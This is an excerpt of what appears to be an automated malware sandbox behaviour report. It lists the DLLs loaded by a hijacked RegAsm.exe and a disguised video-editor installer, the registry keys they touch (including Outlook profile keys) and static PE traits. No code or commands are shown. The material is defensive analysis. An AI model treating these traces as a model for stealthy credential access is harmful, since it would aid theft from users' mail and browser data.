Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: dsound.dll
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Section loaded: powrprof.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Jekky Video Editor_is1

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 2459136 > 1048576

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x235600

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp
